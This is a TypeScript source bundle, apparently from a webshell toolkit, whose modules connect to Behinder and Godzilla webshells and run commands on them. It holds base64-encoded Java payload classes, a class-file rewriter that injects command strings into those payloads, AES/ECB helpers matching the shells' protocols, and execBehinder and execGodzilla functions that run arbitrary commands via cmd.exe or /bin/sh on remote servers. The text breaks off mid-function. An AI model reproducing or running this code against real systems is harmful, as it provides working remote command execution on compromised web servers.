\"BT4ACwVAABAFQQASBUIAFQVDABgFRAAdBUUAJwVGACoFRwA0BUgANwVLAEMFTABLBU4AWgVPAGEFUABnBVEAbQVSAHgFUQCEBVQA\" +\n \"iwVVAI4FVgCRBVcAlQVYAJgFWQCkBVoArwVbALYFXADUBV0A3wViAOkFYwDsBWQA8QVlAP8FZgENBWcBGAVoARwFaQEfBVgBJAVt\" +\n \"ASsFbgE5BW8BQQVwAU8FcQFdBXIBZwV0AXIFdgF6BXcBgAV4AZEFeQGVBXsAJQAAAI4ADgAAAZgFYgCpAAAAEAGIBUUADwABABIB\" +\n \"hgVMAPwAAgAVAYMFTgD8AAMAGAGABWMA/AAEAB0BewD7APwABQBaAT4FSAAPAAYAYQE3BUsFZAAHAGoAGgHgAPwACACOAQoFTwD8\" +\n \"AAgAkQEHBVMA/AAJAJUBAwVlAPwACgCkAHsAOwD8AAsBgAAVBJQADwALAAEFZgAAAAIFZw==\";\n\nexport const ECHO_CLASS_BYTES = Buffer.from(ECHO_CLASS_B64, 'base64');\nexport const CMD_CLASS_BYTES = Buffer.from(CMD_CLASS_B64, 'base64');\nexport const GODZILLA_PAYLOAD_BYTES = Buffer.from(GODZILLA_PAYLOAD_B64, 'base64');\n","/**\n * Minimal Java class-file rewriter.\n *\n * Behinder sends \"payload template\" classes whose static String fields are\n * filled client-side before upload (its `Params.getParamedClass` uses ASM to\n * set a `ConstantValue` on the field). We only need that one feature: set a\n * static String field's ConstantValue, leaving everything else byte-identical.\n */\n\nconst CONSTANT_VALUE = \"ConstantValue\";\n\nclass Cursor {\n constructor(readonly buf: Buffer) {}\n u1(off: number): number {\n return this.buf.readUInt8(off);\n }\n u2(off: number): number {\n return this.buf.readUInt16BE(off);\n }\n}\n\ninterface PoolInfo {\n count: number;\n /** offset just past the last pool entry */\n end: number;\n utf8: Map<number, string>;\n constantValueNameIndex: number; // 0 = absent\n}\n\nfunction readPool(cur: Cursor): PoolInfo {\n const buf = cur.buf;\n const count = cur.u2(8);\n const utf8 = new Map<number, string>();\n let constantValueNameIndex = 0;\n let off = 10;\n for (let i = 1; i < count; i++) {\n const tag = cur.u1(off);\n switch (tag) {\n case 1: {\n const len = cur.u2(off + 1);\n const value = buf.toString(\"utf8\", off + 3, off + 3 + len);\n utf8.set(i, value);\n if (value === CONSTANT_VALUE) constantValueNameIndex = i;\n off += 3 + len;\n break;\n }\n case 3: // Integer\n case 4: // Float\n case 9: // Fieldref\n case 10: // Methodref\n case 11: // InterfaceMethodref\n case 12: // NameAndType\n case 17: // Dynamic\n case 18: // InvokeDynamic\n off += 5;\n break;\n case 5: // Long — two slots\n case 6: // Double — two slots\n off += 9;\n i++;\n break;\n case 7: // Class\n case 8: // String\n case 16: // MethodType\n case 19: // Module\n case 20: // Package\n off += 3;\n break;\n case 15: // MethodHandle\n off += 4;\n break;\n default:\n throw new Error(`unsupported constant pool tag ${tag} at index ${i}`);\n }\n }\n return { count, end: off, utf8, constantValueNameIndex };\n}\n\nfunction encodeUtf8Entry(value: string): Buffer {\n const data = Buffer.from(value, \"utf8\");\n const out = Buffer.alloc(3);\n out.writeUInt8(1, 0);\n out.writeUInt16BE(data.length, 1);\n return Buffer.concat([out, data]);\n}\n\n/**\n * Return a copy of `classBytes` where the static String field `fieldName`\n * carries `ConstantValue = value` (added or replaced).\n */\nexport function injectStringConstant(\n classBytes: Buffer,\n fieldName: string,\n value: string,\n): Buffer {\n const cur = new Cursor(classBytes);\n if (cur.buf.readUInt32BE(0) !== 0xcafebabe) {\n throw new Error(\"not a Java class file\");\n }\n const pool = readPool(cur);\n\n // walk to the fields section\n let off = pool.end;\n off += 6; // access_flags, this_class, super_class\n const interfacesCount = cur.u2(off);\n off += 2 + interfacesCount * 2;\n const fieldsCount = cur.u2(off);\n off += 2;\n\n // new constant pool entries (appended at the end, so all existing\n // references keep working)\n const newEntries: Buffer[] = [];\n let nextIndex = pool.count;\n\n let cvNameIndex = pool.constantValueNameIndex;\n if (cvNameIndex === 0) {\n newEntries.push(encodeUtf8Entry(CONSTANT_VALUE));\n cvNameIndex = nextIndex++;\n }\n newEntries.push(encodeUtf8Entry(value));\n const valueUtf8Index = nextIndex++;\n const stringEntry = Buffer.alloc(3);\n stringEntry.writeUInt8(8, 0); // String tag\n stringEntry.writeUInt16BE(valueUtf8Index, 1);\n newEntries.push(stringEntry);\n const valueStringIndex = nextIndex++;\n\n for (let f = 0; f < fieldsCount; f++) {\n const fieldStart = off;\n const nameIndex = cur.u2(off + 2);\n const descIndex = cur.u2(off + 4);\n const attrCountOff = off + 6;\n const attrCount = cur.u2(attrCountOff);\n off += 8;\n const name = pool.utf8.get(nameIndex);\n const desc = pool.utf8.get(descIndex);\n const isTarget = name === fieldName && desc === \"Ljava/lang/String;\";\n\n for (let a = 0; a < attrCount; a++) {\n const attrNameIndex = cur.u2(off);\n const attrLen = cur.buf.readUInt32BE(off + 2);\n if (\n isTarget &&\n pool.constantValueNameIndex !== 0 &&\n attrNameIndex === pool.constantValueNameIndex\n ) {\n // replace existing ConstantValue in place: [fieldStart..off+6) + new idx + rest\n const patched = Buffer.from(classBytes.subarray(off, off + 6 + attrLen));\n patched.writeUInt16BE(valueStringIndex, 6);\n return Buffer.concat([\n headWithNewPool(classBytes, pool, newEntries),\n classBytes.subarray(pool.end, off),\n patched,\n classBytes.subarray(off + 6 + attrLen),\n ]);\n }\n off += 6 + attrLen;\n }\n\n if (isTarget) {\n // append a new ConstantValue attribute to this field\n const newAttr = Buffer.alloc(8);\n newAttr.writeUInt16BE(cvNameIndex, 0);\n newAttr.writeUInt32BE(2, 2);\n newAttr.writeUInt16BE(valueStringIndex, 6);\n const fieldBytes = Buffer.from(classBytes.subarray(fieldStart, off));\n fieldBytes.writeUInt16BE(attrCount + 1, 6);\n return Buffer.concat([\n headWithNewPool(classBytes, pool, newEntries),\n classBytes.subarray(pool.end, fieldStart),\n fieldBytes,\n newAttr,\n classBytes.subarray(off),\n ]);\n }\n }\n throw new Error(`field ${fieldName} (Ljava/lang/String;) not found in class`);\n}\n\n/**\n * Read back a static String field's ConstantValue, or null when absent.\n * Mirrors the injection above; useful for verification and test harnesses.\n */\nexport function readStringConstant(classBytes: Buffer, fieldName: string): string | null {\n const cur = new Cursor(classBytes);\n if (cur.buf.readUInt32BE(0) !== 0xcafebabe) {\n throw new Error(\"not a Java class file\");\n }\n const pool = readPool(cur);\n const strings = new Map<number, number>();\n {\n let off = 10;\n for (let i = 1; i < pool.count; i++) {\n const tag = cur.u1(off);\n if (tag === 8) strings.set(i, cur.u2(off + 1));\n if (tag === 1) off += 3 + cur.u2(off + 1);\n else if ([3, 4, 9, 10, 11, 12, 17, 18].includes(tag)) off += 5;\n else if (tag === 5 || tag === 6) {\n off += 9;\n i++;\n } else if ([7, 8, 16, 19, 20].includes(tag)) off += 3;\n else if (tag === 15) off += 4;\n else throw new Error(`unsupported constant pool tag ${tag} at index ${i}`);\n }\n }\n\n let off = pool.end + 6;\n const interfacesCount = cur.u2(off);\n off += 2 + interfacesCount * 2;\n const fieldsCount = cur.u2(off);\n off += 2;\n for (let f = 0; f < fieldsCount; f++) {\n const name = pool.utf8.get(cur.u2(off + 2));\n const attrCount = cur.u2(off + 6);\n off += 8;\n for (let a = 0; a < attrCount; a++) {\n const attrNameIndex = cur.u2(off);\n const attrLen = cur.buf.readUInt32BE(off + 2);\n if (\n name === fieldName &&\n pool.constantValueNameIndex !== 0 &&\n attrNameIndex === pool.constantValueNameIndex\n ) {\n const utf8Index = strings.get(cur.u2(off + 6));\n return utf8Index === undefined ? null : (pool.utf8.get(utf8Index) ?? null);\n }\n off += 6 + attrLen;\n }\n }\n return null;\n}\n\n/** file head (through the pool) with patched pool count + appended entries */\nfunction headWithNewPool(classBytes: Buffer, pool: PoolInfo, newEntries: Buffer[]): Buffer {\n const head = Buffer.from(classBytes.subarray(0, pool.end));\n head.writeUInt16BE(pool.count + newEntries.length, 8);\n return Buffer.concat([head, ...newEntries]);\n}\n","/**\n * Crypto helpers shared by the webshell connection testers.\n *\n * All three tools (Behinder / Godzilla) use AES/ECB/PKCS5Padding with a\n * 16-byte key derived from an MD5 hex string — exactly what Java's\n * `Cipher.getInstance(\"AES\")` does. Node's `aes-128-ecb` with automatic\n * padding is wire-compatible with that.\n */\nimport { createCipheriv, createDecipheriv, createHash, randomBytes } from \"node:crypto\";\nimport { gunzipSync, gzipSync } from \"node:zlib\";\n\n/** Lowercase 32-char hex MD5, same as Java `functions.byteArrayToHex(md5(...))`. */\nexport function md5Hex(data: string | Buffer): string {\n return createHash(\"md5\").update(data).digest(\"hex\");\n}\n\n/** md5 hex truncated to 16 chars — the AES key derivation used by both tools. */\nexport function md5Key16(data: string): string {\n return md5Hex(data).slice(0, 16);\n}\n\n/** AES/ECB/PKCS5Padding encrypt. `key` is used as raw UTF-8 bytes (16 chars). */\nexport function aesEcbEncrypt(data: Buffer, key: string): Buffer {\n const cipher = createCipheriv(\"aes-128-ecb\", Buffer.from(key, \"utf8\"), null);\n return Buffer.concat([cipher.update(data), cipher.final()]);\n}\n\n/** AES/ECB/PKCS5Padding decrypt. Throws on bad padding (wrong key / garbage). */\nexport function aesEcbDecrypt(data: Buffer, key: string): Buffer {\n const decipher = createDecipheriv(\"aes-128-ecb\", Buffer.from(key, \"utf8\"), null);\n return Buffer.concat([decipher.update(data), decipher.final()]);\n}\n\nexport function gzip(data: Buffer): Buffer {\n return gzipSync(data);\n}\n\n/**\n * Godzilla's `functions.gzipD` behaviour: on gunzip failure it falls back to\n * the raw bytes when the input is small (< 200 bytes), otherwise it throws.\n */\nexport function gunzipLenient(data: Buffer): Buffer {\n if (data.length === 0) return data;\n try {\n return gunzipSync(data);\n } catch (err) {\n if (data.length < 200) return data;\n throw err;\n }\n}\n\n/** Base64url without padding (Java `Base64.getUrlEncoder().withoutPadding()`). */\nexport function base64UrlEncode(data: Buffer): string {\n return data\n .toString(\"base64\")\n .replaceAll(\"+\", \"-\")\n .replaceAll(\"/\", \"_\")\n .replace(/=+$/, \"\");\n}\n\nexport function base64UrlDecode(text: string): Buffer {\n let s = text.replaceAll(\"-\", \"+\").replaceAll(\"_\", \"/\");\n while (s.length % 4 !== 0) s += \"=\";\n return Buffer.from(s, \"base64\");\n}\n\nconst RANDOM_ALPHABET = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\";\n\n/** Random alphanumeric string, mirroring the tools' `getRandomString`. */\nexport function randomString(length: number): string {\n const raw = randomBytes(length);\n let out = \"\";\n for (let i = 0; i < length; i++) {\n out += RANDOM_ALPHABET[raw[i]! % RANDOM_ALPHABET.length];\n }\n return out;\n}\n","/**\n * Minimal raw-HTTP POST helper for the shell connection testers.\n *\n * Uses node:http/https directly instead of fetch because the testers need\n * exact control over the body bytes, access to raw Set-Cookie headers, an\n * optional insecure-TLS mode, and no automatic redirect following.\n */\nimport http from \"node:http\";\nimport https from \"node:https\";\n\nexport interface RawPostOptions {\n headers?: Record<string, string>;\n timeoutMs?: number;\n /** Skip TLS certificate verification (self-signed targets). */\n insecure?: boolean;\n}\n\nexport interface RawPostResult {\n status: number;\n headers: http.IncomingHttpHeaders;\n body: Buffer;\n durationMs: number;\n}\n\nexport class HttpRequestError extends Error {\n constructor(\n message: string,\n readonly url: string,\n override readonly cause?: unknown,\n ) {\n super(message);\n this.name = \"HttpRequestError\";\n }\n}\n\n/** POST `body` to `url`, return the raw response. Never follows redirects. */\nexport function postRaw(\n url: string,\n body: Buffer,\n options: RawPostOptions = {},\n): Promise<RawPostResult> {\n const { headers = {}, timeoutMs = 30_000, insecure = false } = options;\n let target: URL;\n try {\n target = new URL(url);\n } catch {\n return Promise.reject(new HttpRequestError(`invalid URL: ${url}`, url));\n }\n const isHttps = target.protocol === \"https:\";\n if (!isHttps && target.protocol !== \"http:\") {\n return Promise.reject(new HttpRequestError(`unsupported protocol: ${target.protocol}`, url));\n }\n\n return new Promise<RawPostResult>((resolve, reject) => {\n const started = Date.now();\n const transport = isHttps ? https : http;\n const req = transport.request(\n {\n method: \"POST\",\n hostname: target.hostname,\n port: target.port || (isHttps ? 443 : 80),\n path: `${target.pathname}${target.search}`,\n // agent:false — never reuse a pooled socket. A shell server may close\n // the connection right after an empty response, and reusing such a\n // socket surfaces as a spurious ECONNRESET on the next probe.\n agent: false,\n headers: {\n \"Content-Length\": String(body.length),\n ...headers,\n },\n timeout: timeoutMs,\n ...(isHttps && insecure ? { rejectUnauthorized: false } : {}),\n },\n (res) => {\n const chunks: Buffer[] = [];\n res.on(\"data\", (chunk: Buffer) => chunks.push(chunk));\n res.on(\"end\", () =>\n resolve({\n status: res.statusCode ?? 0,\n headers: res.headers,\n body: Buffer.concat(chunks),\n durationMs: Date.now() - started,\n }),\n );\n res.on(\"error\", (err) => reject(new HttpRequestError(err.message, url, err)));\n },\n );\n req.on(\"timeout\", () => req.destroy(new Error(`request timed out after ${timeoutMs} ms`)));\n req.on(\"error\", (err) => reject(new HttpRequestError(err.message, url, err)));\n req.write(body);\n req.end();\n });\n}\n\n/** Extract cookie pairs (`name=value`) from a response's Set-Cookie headers. */\nexport function extractCookies(headers: http.IncomingHttpHeaders): string[] {\n const setCookie = headers[\"set-cookie\"];\n if (!setCookie) return [];\n return setCookie.map((line) => line.split(\";\", 1)[0]!.trim()).filter(Boolean);\n}\n","/** Shared types for the shell connection testers. */\n\nexport type ConnectTool = \"behinder\" | \"godzilla\" | \"suo5\";\n\nexport interface ConnectTestResult {\n ok: boolean;\n tool: ConnectTool;\n url: string;\n /** Human-readable success detail (echo size, session id, protocol variant...). */\n detail?: string;\n /** Human-readable failure reason. */\n error?: string;\n durationMs: number;\n}\n\nexport interface ExecResult {\n ok: boolean;\n tool: ConnectTool;\n url: string;\n /** The command line as executed remotely. */\n command: string;\n /** Decoded remote stdout+stderr (present on success). */\n output?: string;\n /** Human-readable failure reason. */\n error?: string;\n durationMs: number;\n}\n\nexport interface CommonConnectOptions {\n /**\n * MemShellParty shells are gated by a header check:\n * the request must carry `headerName` containing `headerValue`\n * (both are reported by `memparty gen --json` as shellToolConfig).\n */\n headerName?: string;\n headerValue?: string;\n /** Extra request headers (already merged with the gate header). */\n extraHeaders?: Record<string, string>;\n timeoutMs?: number;\n insecure?: boolean;\n}\n\n/** Build the request headers for a tester: extra headers + gate header. */\nexport function buildHeaders(\n base: Record<string, string>,\n options: CommonConnectOptions,\n): Record<string, string> {\n const headers = { ...base, ...options.extraHeaders };\n if (options.headerValue) {\n headers[options.headerName || \"User-Agent\"] = options.headerValue;\n }\n return headers;\n}\n","/**\n * Behinder (冰蝎) connection test — Java/JSP protocol.\n *\n * Mirrors the Behinder client's `doConnect()`:\n * 1. inject a random string into the Echo payload class template\n * (`Params.getParamedClass` sets the `content` field's ConstantValue)\n * 2. POST `base64(AES/ECB/PKCS5(classBytes, md5(pass)[0:16]))`\n * 3. the shell defines + runs the class; the Echo payload answers with\n * `base64(AES({\"status\":b64,\"msg\":b64}))` — some Behinder variants answer\n * raw AES bytes and/or append `magicNum` random trailing bytes, so the\n * parser tries every combination and validates the JSON envelope\n * 4. connected iff status == \"success\" and msg echoes the random string\n */\nimport { CMD_CLASS_BYTES, ECHO_CLASS_BYTES } from \"./assets.js\";\nimport { injectStringConstant } from \"./classfile.js\";\nimport { aesEcbDecrypt, aesEcbEncrypt, md5Key16, randomString } from \"./crypto.js\";\nimport { postRaw } from \"./http.js\";\nimport {\n buildHeaders,\n type CommonConnectOptions,\n type ConnectTestResult,\n type ExecResult,\n} from \"./types.js\";\n\nexport interface BehinderConnectOptions extends CommonConnectOptions {\n /** Request body encoding. Default: try base64, then raw AES bytes. */\n requestEncoding?: \"base64\" | \"raw\";\n}\n\nconst BASE64_RE = /^[A-Za-z0-9+/=\\r\\n]+$/;\n\ninterface EchoEnvelope {\n status: string;\n msg: string;\n}\n\n/** Try to turn a response body into the decrypted echo envelope. */\nfunction parseEchoResponse(body: Buffer, key: string): EchoEnvelope | null {\n const magic = parseInt(key.slice(0, 2), 16) % 16;\n const trimmed = trimBytes(body);\n\n const candidates: Buffer[] = [];\n const push = (b: Buffer) => {\n if (b.length > 0 && b.length % 16 === 0 && !candidates.some((c) => c.equals(b))) {\n candidates.push(b);\n }\n };\n\n if (BASE64_RE.test(trimmed.toString(\"latin1\"))) {\n let decoded: Buffer | null = null;\n try {\n decoded = Buffer.from(trimmed.toString(\"latin1\"), \"base64\");\n } catch {\n decoded = null;\n }\n if (decoded) {\n push(decoded); // v3 / MemShellParty: base64(AES(json))\n if (decoded.length > magic) push(decoded.subarray(0, decoded.length - magic));\n }\n }\n if (body.length > magic) push(body.subarray(0, body.length - magic)); // raw AES + magic suffix\n push(body); // raw AES\n\n for (const candidate of candidates) {\n try {\n const plain = aesEcbDecrypt(candidate, key).toString(\"utf8\");\n const obj: unknown = JSON.parse(plain);\n if (\n obj !== null &&\n typeof obj === \"object\" &&\n typeof (obj as Record<string, unknown>).status === \"string\" &&\n typeof (obj as Record<string, unknown>).msg === \"string\"\n ) {\n const rec = obj as { status: string; msg: string };\n return {\n status: Buffer.from(rec.status, \"base64\").toString(\"utf8\"),\n msg: Buffer.from(rec.msg, \"base64\").toString(\"utf8\"),\n };\n }\n } catch {\n // not the right candidate — try the next one\n }\n }\n return null;\n}\n\nfunction trimBytes(buf: Buffer): Buffer {\n let start = 0;\n let end = buf.length;\n const isWs = (b: number) => b === 0x20 || b === 0x09 || b === 0x0a || b === 0x0d || b === 0x00;\n while (start < end && isWs(buf[start]!)) start++;\n while (end > start && isWs(buf[end - 1]!)) end--;\n return buf.subarray(start, end);\n}\n\nfunction excerpt(body: Buffer): string {\n const text = body\n .toString(\"latin1\")\n .replace(/[^\\x20-\\x7e]+/g, \" \")\n .trim();\n return text.length > 160 ? `${text.slice(0, 160)}...` : text;\n}\n\nexport async function testBehinder(\n url: string,\n pass: string,\n options: BehinderConnectOptions = {},\n): Promise<ConnectTestResult> {\n const started = Date.now();\n const key = md5Key16(pass);\n const content = randomString(48 + Math.floor(Math.random() * 48));\n const classBytes = injectStringConstant(ECHO_CLASS_BYTES, \"content\", content);\n\n const encodings: Array<\"base64\" | \"raw\"> =\n options.requestEncoding === \"raw\"\n ? [\"raw\"]\n : options.requestEncoding === \"base64\"\n ? [\"base64\"]\n : [\"base64\", \"raw\"];\n\n const failures: string[] = [];\n for (const encoding of encodings) {\n const encrypted = aesEcbEncrypt(classBytes, key);\n const body = encoding === \"base64\" ? Buffer.from(encrypted.toString(\"base64\")) : encrypted;\n let response;\n try {\n response = await postRaw(url, body, {\n headers: buildHeaders({ \"Content-Type\": \"application/octet-stream\" }, options),\n timeoutMs: options.timeoutMs,\n insecure: options.insecure,\n });\n } catch (err) {\n return {\n ok: false,\n tool: \"behinder\",\n url,\n error: err instanceof Error ? err.message : String(err),\n durationMs: Date.now() - started,\n };\n }\n\n const envelope = parseEchoResponse(response.body, key);\n if (envelope) {\n if (envelope.status === \"success\" && envelope.msg === content) {\n return {\n ok: true,\n tool: \"behinder\",\n url,\n detail: `echo verified (${content.length} random bytes, ${encoding} request, HTTP ${response.status})`,\n durationMs: Date.now() - started,\n };\n }\n failures.push(\n `${encoding}: decrypted but unexpected envelope (status=${JSON.stringify(envelope.status)})`,\n );\n } else {\n failures.push(\n `${encoding}: HTTP ${response.status}, response not a valid Behinder envelope` +\n (response.body.length > 0 ? ` (starts with: ${excerpt(response.body)})` : \" (empty body)\"),\n );\n }\n }\n\n return {\n ok: false,\n tool: \"behinder\",\n url,\n error: failures.join(\"; \") + \" — wrong password, missing gate header, or not a Behinder shell\",\n durationMs: Date.now() - started,\n };\n}\n\n/**\n * Behinder command execution — uploads the `Cmd` payload class with its\n * static `cmd` field filled in (same `Params.getParamedClass` mechanism as\n * the Echo payload). The payload picks `cmd.exe /c` or `/bin/sh -c` itself\n * based on `os.name`, so no OS detection is needed here.\n * The response is the usual Behinder envelope: base64(AES({status, msg})),\n * where `msg` is the base64-encoded command output (stdout then stderr).\n */\nexport async function execBehinder(\n url: string,\n pass: string,\n command: string,\n options: BehinderConnectOptions = {},\n): Promise<ExecResult> {\n const started = Date.now();\n const key = md5Key16(pass);\n const classBytes = injectStringConstant(CMD_CLASS_BYTES, \"cmd\", command);\n\n const fail = (error: string): ExecResult => ({\n ok: false,\n tool: \"behinder\",\n url,\n command,\n error,\n durationMs: Date.now() - started,\n });\n\n const encodings: Array<\"base64\" | \"raw\"> =\n options.requestEncoding === \"raw\"\n ? [\"raw\"]\n : options.requestEncoding === \"base64\"\n ? [\"base64\"]\n : [\"base64\", \"raw\"];\n\n const failures: string[] = [];\n for (const encoding of encodings) {\n const encrypted = aesEcbEncrypt(classBytes, key);\n const body = encoding === \"base64\" ? Buffer.from(encrypted.toString(\"base64\")) : encrypted;\n let response;\n try {\n response = await postRaw(url, body, {\n headers: buildHeaders({ \"Content-Type\": \"application/octet-stream\" }, options),\n timeoutMs: options.timeoutMs,\n insecure: options.insecure,\n });\n } catch (err) {\n return fail(err instanceof Error ? err.message : String(err));\n }\n\n const envelope = parseEchoResponse(response.body, key);\n if (envelope) {\n if (envelope.status === \"success\") {\n return {\n ok: true,\n tool: \"behinder\",\n url,\n command,\n output: envelope.msg,\n durationMs: Date.now() - started,\n };\n }\n // the payload executed but reported failure — its msg says why\n return fail(`remote status \"fail\": ${envelope.msg}`);\n }\n failures.push(\n `${encoding}: HTTP ${response.status}, response not a valid Behinder envelope` +\n (response.body.length > 0 ? ` (starts with: ${excerpt(response.body)})` : \" (empty body)\"),\n );\n }\n\n return fail(\n failures.join(\"; \") + \" — wrong password, missing gate header, or not a Behinder shell\",\n );\n}\n","/**\n * Godzilla (哥斯拉) connection test — JavaDynamicPayload protocol.\n *\n * Mirrors the Godzilla client's connect + `test()`:\n * xc = md5(key)[0:16] (AES key)\n * md5 = md5(pass + xc), uppercase (response wrapper)\n * 1. POST `pass=urlencode(base64(AES(payloadClass)))` — the shell stores the\n * payload class (static field or http session, hence the cookie relay)\n * 2. POST `pass=urlencode(base64(AES(gzip(serialize({methodName:\"test\"})))))`\n * 3. response = md5[0:16] + base64(AES(gzip(\"ok\"))) + md5[16:32]\n * 4. connected iff the decrypted, gunzipped body says \"ok\"\n */\nimport { GODZILLA_PAYLOAD_BYTES } from \"./assets.js\";\nimport { aesEcbDecrypt, aesEcbEncrypt, gunzipLenient, gzip, md5Hex, md5Key16 } from \"./crypto.js\";\nimport { extractCookies, postRaw, type RawPostResult } from \"./http.js\";\nimport {\n buildHeaders,\n type CommonConnectOptions,\n type ConnectTestResult,\n type ExecResult,\n} from \"./types.js\";\n\n/** Godzilla's `Parameter.serialize`: key bytes + 0x02 + little-endian u32 length + value. */\nfunction serializeParams(params: Array<[string, Buffer]>): Buffer {\n const parts: Buffer[] = [];\n for (const [key, value] of params) {\n const len = Buffer.alloc(4);\n len.writeUInt32LE(value.length, 0);\n parts.push(Buffer.from(key, \"utf8\"), Buffer.from([0x02]), len, value);\n }\n return Buffer.concat(parts);\n}\n\nfunction encodeBody(pass: string, xc: string, data: Buffer): Buffer {\n const encrypted = aesEcbEncrypt(data, xc).toString(\"base64\");\n return Buffer.from(`${pass}=${encodeURIComponent(encrypted)}`, \"utf8\");\n}\n\nfunction excerpt(body: Buffer): string {\n const text = body\n .toString(\"latin1\")\n .replace(/[^\\x20-\\x7e]+/g, \" \")\n .trim();\n return text.length > 200 ? `${text.slice(0, 200)}...` : text;\n}\n\nexport async function testGodzilla(\n url: string,\n pass: string,\n key: string,\n options: CommonConnectOptions = {},\n): Promise<ConnectTestResult> {\n const started = Date.now();\n const xc = md5Key16(key);\n const wrapper = md5Hex(pass + xc).toUpperCase();\n const left = wrapper.slice(0, 16);\n const right = wrapper.slice(16);\n\n const baseHeaders = buildHeaders(\n { \"Content-Type\": \"application/x-www-form-urlencoded\" },\n options,\n );\n const post = (data: Buffer, cookie?: string) =>\n postRaw(url, encodeBody(pass, xc, data), {\n headers: cookie ? { ...baseHeaders, Cookie: cookie } : baseHeaders,\n timeoutMs: options.timeoutMs,\n insecure: options.insecure,\n });\n\n // ---- request 1: upload the payload class ----\n let initResponse;\n try {\n initResponse = await post(GODZILLA_PAYLOAD_BYTES);\n } catch (err) {\n return {\n ok: false,\n tool: \"godzilla\",\n url,\n error: err instanceof Error ? err.message : String(err),\n durationMs: Date.now() - started,\n };\n }\n const cookies = extractCookies(initResponse.headers);\n const cookie = cookies.length > 0 ? cookies.join(\"; \") : undefined;\n\n // ---- request 2: invoke method \"test\" on the payload ----\n const callData = gzip(serializeParams([[\"methodName\", Buffer.from(\"test\", \"utf8\")]]));\n let testResponse;\n try {\n testResponse = await post(callData, cookie);\n } catch (err) {\n return {\n ok: false,\n tool: \"godzilla\",\n url,\n error: err instanceof Error ? err.message : String(err),\n durationMs: Date.now() - started,\n };\n }\n\n const text = testResponse.body.toString(\"latin1\");\n const leftIdx = text.indexOf(left);\n const rightIdx = leftIdx === -1 ? -1 : text.indexOf(right, leftIdx + left.length);\n if (leftIdx === -1 || rightIdx === -1) {\n return {\n ok: false,\n tool: \"godzilla\",\n url,\n error:\n `HTTP ${testResponse.status}, response lacks the Godzilla wrapper` +\n (text.trim().length > 0 ? ` (starts with: ${excerpt(testResponse.body)})` : \" (empty body)\") +\n \" — wrong pass/key, missing gate header, or not a Godzilla shell\",\n durationMs: Date.now() - started,\n };\n }\n\n const wrapped = text.slice(leftIdx + left.length, rightIdx);\n try {\n const decrypted = aesEcbDecrypt(Buffer.from(wrapped, \"base64\"), xc);\n const result = gunzipLenient(decrypted).toString(\"utf8\").trim();\n if (result === \"ok\") {\n return {\n ok: true,\n tool: \"godzilla\",\n url,\n detail: `payload uploaded, \"test\" returned ok (HTTP ${testResponse.status})`,\n durationMs: Date.now() - started,\n };\n }\n return {\n ok: false,\n tool: \"godzilla\",\n url,\n error: `decrypted response is ${JSON.stringify(result)}, expected \"ok\"`,\n durationMs: Date.now() - started,\n };\n } catch {\n return {\n ok: false,\n tool: \"godzilla\",\n url,\n error: \"found wrapper but failed to decrypt — wrong key?\",\n durationMs: Date.now() - started,\n };\n }\n}\n\nexport interface GodzillaExecOptions extends CommonConnectOptions {\n /**\n * Remote OS family, used to pick the shell wrapper (`cmd.exe /c` vs\n * `/bin/sh -c`). \"auto\" (default) asks the payload's `getBasicsInfo`\n * first — one extra request per exec.\n */\n os?: \"auto\" | \"windows\" | \"linux\";\n}\n\n/**\n * Godzilla command execution — invokes the payload's `execCommand` method.\n *\n * Same transport as the connect test (payload upload + cookie relay), then:\n * methodName=execCommand, argsCount=N, arg-0..arg-(N-1) = argv\n * The payload runs `Runtime.exec(argv)` (no shell of its own), so the\n * command line is wrapped in `cmd.exe /c` or `/bin/sh -c` here.\n */\nexport async function execGodzilla(\n url: string,\n pass: string,\n key: string,\n command: string,\n options: GodzillaExecOptions = {},\n): Promise<ExecResult> {\n const started = Date.now();\n const xc = md5Key16(key);\n const wrapper = md5Hex(pass + xc).toUpperCase();\n const left = wrapper.slice(0, 16);\n const right = wrapper.slice(16);\n\n const fail = (error: string): ExecResult => ({\n ok: false,\n tool: \"godzilla\",\n url,\n command,\n error,\n durationMs: Date.now() - started,\n });\n\n const baseHeaders = buildHeaders(\n { \"Content-Type\": \"application/x-www-form-urlencoded\" },\n options,\n );\n const post = (data: Buffer, cookie?: string) =>\n postRaw(url, encodeBody(pass, xc, data), {\n headers: cookie ? { ...baseHeaders, Cookie: cookie } : baseHeaders,\n timeoutMs: options.timeoutMs,\n insecure: options.insecure,\n });\n\n // ---- request 1: upload the payload class ----\n let initResponse: RawPostResult;\n try {\n initResponse = await post(GODZILLA_PAYLOAD_BYTES);\n } catch (err) {\n return fail(err instanceof Error ? err.message : String(err));\n }\n const cookies = extractCookies(initResponse.headers);\n const cookie = cookies.length > 0 ? cookies.join(\"; \") : undefined;\n\n // Invoke a payload method, returning the decrypted + gunzipped result.\n const callMethod = async (\n methodName: string,\n extraParams: Array<[string, Buffer]> = [],\n ): Promise<Buffer> => {\n const callData = gzip(\n serializeParams([[\"methodName\", Buffer.from(methodName, \"utf8\")], ...extraParams]),\n );\n const res = await post(callData, cookie);\n const text = res.body.toString(\"latin1\");\n const leftIdx = text.indexOf(left);\n const rightIdx = leftIdx === -1 ? -1 : text.indexOf(right, leftIdx + left.length);\n if (leftIdx === -1 || rightIdx === -1) {\n throw new Error(\n `HTTP ${res.status}, response lacks the Godzilla wrapper` +\n (text.trim().length > 0 ? ` (starts with: ${excerpt(res.body)})` : \" (empty body)\") +\n \" — wrong pass/key, missing gate header, or not a Godzilla shell\",\n );\n }\n const wrapped = text.slice(leftIdx + left.length, rightIdx);\n return gunzipLenient(aesEcbDecrypt(Buffer.from(wrapped, \"base64\"), xc));\n };\n\n // ---- request 2 (optional): detect the remote OS ----\n let os = options.os ?? \"auto\";\n if (os === \"auto\") {\n try {\n const info = (await callMethod(\"getBasicsInfo\")).toString(\"utf8\");\n const osLine = info.split(\"\\n\").find((l) => l.startsWith(\"OsInfo :\")) ?? info;\n os = /os\\.name:[^\\n]*windows/i.test(osLine) ? \"windows\" : \"linux\";\n } catch (err) {\n return fail(err instanceof Error ? err.message : String(err));\n }\n }\n\n // ---- request 3: execCommand ----\n const argv =\n os === \"windows\" ? [\"cmd.exe\", \"/c\", command] : [\"/bin/sh\", \"-c\", command];\n const params: Array<[string, Buffer]> = [\n [\"argsCount\", Buffer.from(String(argv.length), \"utf8\")],\n ...argv.map((arg, i): [string, Buffer] => [`arg-${i}`, Buffer.from(arg, \"utf8\")]),\n ];\n try {\n const output = await callMethod(\"execCommand\", params);\n return {\n ok: true,\n tool: \"godzilla\",\n url,\n command,\n output: 